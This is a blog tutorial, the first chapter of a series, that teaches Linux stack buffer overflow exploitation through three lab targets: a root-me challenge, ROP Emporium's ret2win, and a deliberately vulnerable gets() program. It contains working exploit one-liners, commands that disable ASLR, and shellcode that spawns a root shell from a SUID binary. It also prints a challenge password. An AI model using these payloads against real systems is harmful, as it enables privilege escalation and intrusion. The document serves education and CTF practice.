# Stack Buffer Overflows: Linux - Chapter 1

## Introduction

Buffer overflows are probably my favourite part of the security field. They can range from simple to incomprehensible, offer a wide variety of exploitation techniques and are just kinda fun. Also they sound way more difficult than they are!

Whilst modern OS’s have started to introduce memory protections, there are always ways around these, and it’s still up to the application developers to protect their applications. Have a quick search on exploit-db for recent buffer overflow exploits, and you’ll get a fair few turn up. To be honest, you’ll probably never use any of the techniques described here to get your own zero-day. With techniques to prevent memory exploitation such as Data Execution Prevention and Address Space Layout Randomization, what’s described in this post, while fundamental to learn, will not work in most modern systems. If only I hadn’t been in nappies when this stuff was ‘cutting edge’.

The goal of this series is to go over the most basic of buffer overflows affecting the linux platform in an approachable manner, not shying too far from the lower level details. Hopefully, I can help someone learn something from this. If you have suggestions for me to improve my approach, don’t hesitate to drop me a message or leave a comment, and equally if you have any questions.

The definitive article on buffer overflows is Smashing the stack for fun and profit by Aleph One, and it wouldn’t be right not to mention it in my opinion. I’ll also include at the end some of the resources I’ve used to shore up my understanding.

So lets jump right in and smash the stack!

## Example 1 - Stack buffer overflow basic 1

I’ll be using the example from root-me to illustrate basic stack corruption. Since this is a fairly trivial example and introductory, I hope they won’t feel any issue with me posting a solution publicly. As a point of note, you’re going to need to be able to read C for most of this article, or at least follow the general logic of what’s happening.

#include <stdlib.h>
#include <stdio.h>

/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/

int main()
{

int var;
int check = 0x04030201;
char buf[40];

fgets(buf,45,stdin);

printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);

if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way!\n");

{
printf("Yeah dude! You win!\nOpening your shell...\n");
system("/bin/dash");
printf("Shell closed! Bye.\n");
}
return 0;
}


The actual exploitation of this is fairly trivial. The fgets function allows us to write 45 bytes of memory into a buffer of size 40. We won’t be doing anything too fancy, but it does allow us to corrupt memory and potentially some of the variables. Firstly I’d like to take a quick moment to define some terms, namely the stack.

So what exactly is the stack? Well, it’s really just a section of memory that we define as being used to store several important variables and locals with fixed size. Whenever I refer to the stack, just note that it’s a defined block of memory where my variables defined above, like check and buf are stored. This makes it simple for the compiler to manage variables and code, as well as allow us to do some fancy tricks if programmers get lazy. The stack can grow and shrink as execution takes place, but this example will keep it simple.

Let’s open this in gdb and run a disassembly of the main function. There are better tools for doing this but we’ll keep it simple for now.

gdb$disas main Dump of assembler code for function main: 0x08048494 <+0>: push ebp 0x08048495 <+1>: mov ebp,esp 0x08048497 <+3>: and esp,0xfffffff0 0x0804849a <+6>: sub esp,0x40 0x0804849d <+9>: mov DWORD PTR [esp+0x3c],0x4030201 0x080484a5 <+17>: mov eax,ds:0x804a020 0x080484aa <+22>: mov DWORD PTR [esp+0x8],eax 0x080484ae <+26>: mov DWORD PTR [esp+0x4],0x2d 0x080484b6 <+34>: lea eax,[esp+0x14] 0x080484ba <+38>: mov DWORD PTR [esp],eax 0x080484bd <+41>: call 0x8048390 <fgets@plt> 0x080484c2 <+46>: mov eax,0x8048620 0x080484c7 <+51>: lea edx,[esp+0x14] 0x080484cb <+55>: mov DWORD PTR [esp+0x4],edx 0x080484cf <+59>: mov DWORD PTR [esp],eax 0x080484d2 <+62>: call 0x8048380 <printf@plt> 0x080484d7 <+67>: mov eax,0x804862c 0x080484dc <+72>: mov edx,DWORD PTR [esp+0x3c] 0x080484e0 <+76>: mov DWORD PTR [esp+0x4],edx 0x080484e4 <+80>: mov DWORD PTR [esp],eax 0x080484e7 <+83>: call 0x8048380 <printf@plt> 0x080484ec <+88>: cmp DWORD PTR [esp+0x3c],0x4030201 0x080484f4 <+96>: je 0x804850c <main+120> 0x080484f6 <+98>: cmp DWORD PTR [esp+0x3c],0xdeadbeef 0x080484fe <+106>: je 0x804850c <main+120> 0x08048500 <+108>: mov DWORD PTR [esp],0x8048638 0x08048507 <+115>: call 0x80483a0 <puts@plt> 0x0804850c <+120>: cmp DWORD PTR [esp+0x3c],0xdeadbeef 0x08048514 <+128>: jne 0x804853a <main+166> 0x08048516 <+130>: mov DWORD PTR [esp],0x8048654 0x0804851d <+137>: call 0x80483a0 <puts@plt> 0x08048522 <+142>: mov DWORD PTR [esp],0x804867e 0x08048529 <+149>: call 0x80483b0 <system@plt> 0x0804852e <+154>: mov DWORD PTR [esp],0x8048688 0x08048535 <+161>: call 0x80483a0 <puts@plt> 0x0804853a <+166>: mov eax,0x0 0x0804853f <+171>: leave 0x08048540 <+172>: ret End of assembler dump.  Wow that’s a lot of letters and numbers. So lets break this down and look at the parts where the buffer, and variables are placed onto the stack.  0x0804849d <+9>: mov DWORD PTR [esp+0x3c],0x4030201  Here our check variable is placed onto the stack at esp+60. I will just convert arbitrarily between decimal and hexadecimal depending on the convenience.  0x080484a5 <+17>: mov eax,ds:0x804a020 0x080484aa <+22>: mov DWORD PTR [esp+0x8],eax 0x080484ae <+26>: mov DWORD PTR [esp+0x4],0x2d 0x080484b6 <+34>: lea eax,[esp+0x14] 0x080484ba <+38>: mov DWORD PTR [esp],eax 0x080484bd <+41>: call 0x8048390 <fgets@plt>  Here, three variables are placed onto the stack. These will be the arguments being sent to the fgets function. In 32-bit system’s a function call takes it’s arguments off the top of the stack. In this case I’ll try and convert what’s happening in the assembly into english step-by-step. mov eax,ds:0x804a020 ; Place the value 0x804a020 into the eax register mov DWORD PTR [esp+0x8],eax ; Take the value in the eax register, 0x804a020 , and place it at the memory location esp+0x8. mov DWORD PTR [esp+0x4],0x2d ; Take the value 0x2d, and place it at the memory location esp+0x4 lea eax,[esp+0x14] ; Calculate the result of esp+0x14 and place it in the eax register mov DWORD PTR [esp],eax ; Take this result of esp+0x14 and place it at the location in memory denoted by esp.  So in effect we’ve placed at memory locations, esp, esp+0x4 and esp+0x8, three different values:  ------------------- | esp + 0x8 | <---- 0x804a020 ------------------- | esp + 0x4 | <---- 0x2d ------------------- | esp | <---- esp+0x14 -------------------  Right after these operations take place, the fgets function is called. These three values we’ve just placed on the stack as above are the arguments to the function fgets as in the C code. This is in line with 32 bit calling conventions, arguments are placed upon the stack. If you try some 64-bit exploitation examples, they’ll actually be popped into registers (up to a point), so remember that if you find yourself unwittingly in 64-bit land. fgets(buf,45,stdin);  So 0x804a020 is the location of the stdin handle, 0x2d is just 45 and esp+0x14 will be where our buffer is located on the stack. We’ve established earlier that our check variable is located at esp+60 and since our buffer is at esp+20, if we place 44 bytes into fgets, the first 40 will fill the buffer, whilst the next 4 will overwrite the check variable. Lets test this out quickly. We’ll use the following code to generate a file: python -c 'print "A"*44'> /tmp/overflow  We then pipe this through gdb into our program and we get: gdb$ run < /tmp/overflow
Starting program: /challenge/app-systeme/ch13/ch13 < /tmp/overflow

[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[check] 0x41414141

You are on the right way!
[Inferior 1 (process 27133) exited normally]
--------------------------------------------------------------------------[regs]
EAX:Error while running hook_stop:
No registers.
gdb$ So, we overwrote the check variable with our buffer, as 0x41 is the hex code for ascii ‘A’ so 0x41414141 is equivalent to AAAA. To get our shell spawned, we need to overwrite our variable with 0xdeadbeef, so we just write a file containing A*40 followed by the bytes for 0xdeadbeef. Code of the following form achieves this: import struct; print "A"*40 + struct.pack("<L", 0xdeadbeef)  We run this and pipe it into our binary, and while we get a shell it isn’t returned to us as interactive. app-systeme-ch13@challenge02:~$ python -c 'import struct;  print "A"*40 + struct.pack("<L", 0xdeadbeef);' | ./ch13

[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAﾭ
Yeah dude! You win!
Shell closed! Bye.


We’ll just pipe in another command to cat the .passwd file and we’re returned with our password which is read by the dash command.

app-systeme-ch13@challenge02:~$(python -c 'import struct; print "A"*40 + struct.pack("<L", 0xdeadbeef)';echo cat .passwd) | ./ch13 [buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAﾭ [check] 0xdeadbeef Yeah dude! You win! Opening your shell... 1w4ntm0r3pr0np1s Shell closed! Bye.  So to summarise, using our understanding of the stack we’ve effectively corrupted and overwritten a stack variable via an overflow. ## The stack So I’ve mentioned the stack a lot, but how do we know where it’s located and how does it relate to esp which we kept referring to? The diagram above illustrates generally how it looks in memory. Of course a lot of details are missing but it does show the basics. We define where the top of the stack is located in memory at any specific time with the esp register. It defines the location of the top of the stack, and is manipulated with individual push and pop instructions, which as their names might indicate, either add or remove from the stack. The stack itself will grow downwards in memory for x86 architectures. Therefore, if we push to the stack a value, that value is written to the location at esp and the value of esp is decremented, and incremented for popping from it. The diagram below illustrates what happens to ESP as we push and pop. Just as a note, an instruction of the form pop ebx means that the value popped off the stack is moved into the ebx register. On the other end we have the frame pointer, ebp, which defines where the function parameters and local variables reside. It was included so that these variables had a fixed offset they could be referred to from. As esp moves, it cannot be used in such a way, whereas ebp in a given stack frame is generally stationary. This resource provides a good overview of the ebp register. The third register we will refer to is eip. In simple terms it just stores the location of the next instruction that is to be executed. If you want a more solid foundation of each of these registers, then skullsecurity’s article is quite a good one. At ebp+4 the return address of the stack frame is stored. What is this and why is it important? ### The Return Address When a stack frame is left, such as in a function exit, generally the leave instruction is called. This clears up the stack frame by moving the stack pointer to the frame pointer, in effect popping the stack up to the frame pointer. No data is actually deleted but from the point-of-view of the stack, it no longer exists unless we go manually adjusting esp. mov esp, ebp pop ebp  The saved address of the last frame pointer is then popped off the stack. This because the frame pointer also stores details on the area of memory that called it, including the last frame pointer at ebp and the next instruction to be executed at ebp+4. This is important as the next instruction to be called is a ret, which will pop the return address off the stack and moved into eip. Since eip refers to the next instruction to be executed, execution then jumps to that value. Below isn’t how it actually works but will illustrate it hopefully. pop ebx jmp ebx  If you’re interested in a more detailed exploration of how the stack works, Gustavo Duarte’s Journey to the Stack is a great read. Hopefully, now we can see how we can hijack command of a program’s execution rather than just overwriting variables, with this technique. If we can overwrite enough past our buffer, we can overwrite the saved return address. Once a ret is called, the address we’ve overwritten will be jumped to. So how do we use this? ## Example 2 - ret2win We’ll be using the first binary challenge on ropemporium, called ret2win for this. For this we’re going to be hijacking execution of the program. When an unreachable address is jumped to for execution, the program will exit in a segmentation fault. If we want to execute an arbitrary command, all we have to do is force a segmentation fault to prove that we’ve overwritten the saved return address. So lets load up the binary and input some text. root@kali:~/Downloads# python -c 'print "A"*200' | ./ret2win32 ret2win by ROP Emporium 32bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Segmentation fault  Boom! We got a segmentation fault, but it doesn’t give us much of a clue how many bytes we’ll need to overwrite. We can either modify the amount we overwrite byte by byte, or use a cyclic sequence to read off the location of EIP. Metasploit has it’s pattern_create.rb and PEDA has it’s own pattern create. We’ll create a buffer of length 200, and see the value that eip segfaults on. gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ r
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?

> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA Program received signal SIGSEGV, Segmentation fault.  The program will then print out it’s registers, but the one of most importance is the EIP register. EAX: 0xffffd290 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
EBX: 0x0
ECX: 0xf7faf87c --> 0x0
EDX: 0xffffd290 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") ESI: 0x1 EDI: 0xf7fae000 --> 0x1b2db0 EBP: 0x41304141 ('AA0A') ESP: 0xffffd2c0 --> 0xf7fa0062 --> 0xe0a5210 EIP: 0x41414641 ('AFAA')  Here we see it has a value of 0x41414641. What’s happened in execution is we’ve overwritten the saved EIP, and then the program has attempted to return back to that location in memory. Since there’s nothing there, it’s thrown a segmentation fault. we use pattern offset 0x41414641 in PEDA, which tells us at what position that value was in our string. gdb-peda$ pattern offset 0x41414641
1094796865 found at offset: 44


Here we see it’s at position 44. So we want to write 44 bytes, and then write our return address into our input.

So we know from the description that we want to return into the ret2win function. We’ll have a quick look at the disassembly of this function to see what it’s doing.

;-- ret2win:
0x08048659      55             push ebp
0x0804865a      89e5           mov ebp, esp
0x0804865c      83ec08         sub esp, 8
0x0804865f      83ec0c         sub esp, 0xc
0x08048662      6824880408     push str.Thank_you__Here_s_your_flag: ; 0x8048824 ; "Thank you! Here's your flag:"
0x08048667      e894fdffff     call sym.imp.printf
0x0804866f      83ec0c         sub esp, 0xc
0x08048672      6841880408     push str.bin_cat_flag.txt   ; 0x8048841 ; "/bin/cat flag.txt"
0x08048677      e8b4fdffff     call sym.imp.system
0x0804867f      90             nop
0x08048680      c9             leave
0x08048681      c3             ret


It prints out the value of the flag we want. Obviously, this is a controlled example but it does show how we can redirect into an alternative function.

By looking at the disassembly, we already know what location we want to return to (It’s the location in memory we’ve disassembled, so 0x08048659), so now we just need to construct our payload, and send it into the program. In this case we just overwrite EIP with the location of that function.

root@kali:~/Desktop# python -c 'print "A"*44 + "\x59\x86\x04\x08"'|./ret2win32
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault


So with this we’ve succesfully redirected execution into a function of our choice. We did get a segmentation fault at the end, but this is avoidable if required, as we didn’t control execution once our ret2win function had exited. For now, we won’t worry about that.

## Custom code execution

Now we’ve succesfully redirected execution, lets look at executing some code of our own, instead of calling another function. This will be the technique most tutorials will begin with, jumping back into the buffer and executing some shellcode we place in there. Here I’ll show the theory of this and then move into another example.

So we’ve found a vulnerable program allowing us to perform a buffer overflow, but the program itself is running on a remote system and we want to send back a reverse shell to give us code execution. There’s plenty of shellcode out there allowing us to that, but how do we actually execute it?

I’m sure you’ve already guessed this part! If not, in the last part we wrote into the buffer data of the form JUNK+EIP, where EIP is the value we intended to overwrite eip with. However, why don’t we just place some malicious code in place of that junk data, and then set eip to jump back and execute it?

One other advantage of this method is that we don’t need to know the exact address to jump back to, making exploit development quite a bit easier. This is because we can leverage the NOP instruction, \x90. This literally does nothing, but if we write a sequence of NOP’s before our shellcode, also known as a nopsled, we can set eip to any address in that sequence.

Our exploit format then becomes NOPSLED+SHELLCODE+EIP. Do note that there’s nothing stopping you doing JUNK+EIP+NOPSLED+SHELLCODE either. It just depends how much space you have in your stack frame, what protections are in place and how you’re jumping to your shellcode but we’ll get into that at a later date. Just know for now that I’m only explaining one method, which is a hardcoded address.

So let’s see this in action!

## Example 3 - Jumping to Shellcode

For this we’ll use the following C program example. This will make our job much easier as it will print out the location of the buffer in memory, removing the need for diving too deep into GDB internals for now. It also makes our job easier as memory locations will be different within and outside of GDB. The environment I will be using for this will be Ubuntu 64-bit 16.04.3

#include <stdio.h>

int main(){
bof();
return 0;
}

int bof()
{
char buffer[128];
printf("Wanna Smash!?: %p\n", (void*)&buffer);
gets(buffer);
return 0;
}



We want to disable ASLR and also compile this file without stack protections. This also compiles it to 32-bit as the process is very slightly different if dealing with a 64-bit binary.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gcc test.c -o test  -fno-stack-protector -z execstack -m32


Running the file reveals the

ubuntu@ubuntu:/tmp$./test Wanna Smash!?: 0xffffcfd0  We create a pattern and input it into the binary, and as we see below we succeeded in overwriting EIP. EAX: 0x0 EBX: 0x0 ECX: 0xf7fb85a0 --> 0xfbad2288 EDX: 0xf7fb987c --> 0x0 ESI: 0xf7fb8000 --> 0x1afdb0 EDI: 0xf7fb8000 --> 0x1afdb0 EBP: 0x41514141 ('AAQA') ESP: 0xffffd030 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") EIP: 0x41416d41 ('AmAA')  gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140


We see it’s at position 140. Now we have all the ingredients needed to exploit this binary. Firstly, we make the binary an suid binary, so it will be executed as root. We then use the binary to get the position of the buffer.

ubuntu@ubuntu:/tmp$sudo chown root:root ./test [sudo] password for ubuntu: ubuntu@ubuntu:/tmp$ sudo chmod u+s ./test
ubuntu@ubuntu:/tmp$./test Wanna Smash!?: 0xffffcfd0  In our payload we then place the following shellcode to return us a shell: http://shell-storm.org/shellcode/files/shellcode-606.php python -c "from struct import pack; print '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'.ljust(140,'\x90') + pack('<L', 0xffffcfd0)" > /tmp/var  You’ll notice here I’ve used ljust on the shellcode. This just pads the string to the determined length of 140 with NOP instructions. This makes the process of creating a nopsled slightly easier. For example, if we were to replace the shellcode, we would just replace the string and the payload would still be of length 140. We run the binary, inputting the payload, and we are returned a root shell. The uid won’t change but the effective-uid or the euid does to 0, meaning we now have root privileges. ubuntu@ubuntu:/tmp$ (cat /tmp/var; cat) | ./test
Wanna Smash!?: 0xffffcfd0
id
`

## Epilogue

We’ve gone from overwriting basic stack variables to controlling complete execution of the program. Next I’ll be showing you how to use GDB to determine the location to jump to, and how to bypass the very basic memory protections. Have fun exploiting, and if you have any questions, do drop me a message. For now I’ve included all references and other literature that might be of interest.

Happy Hacking!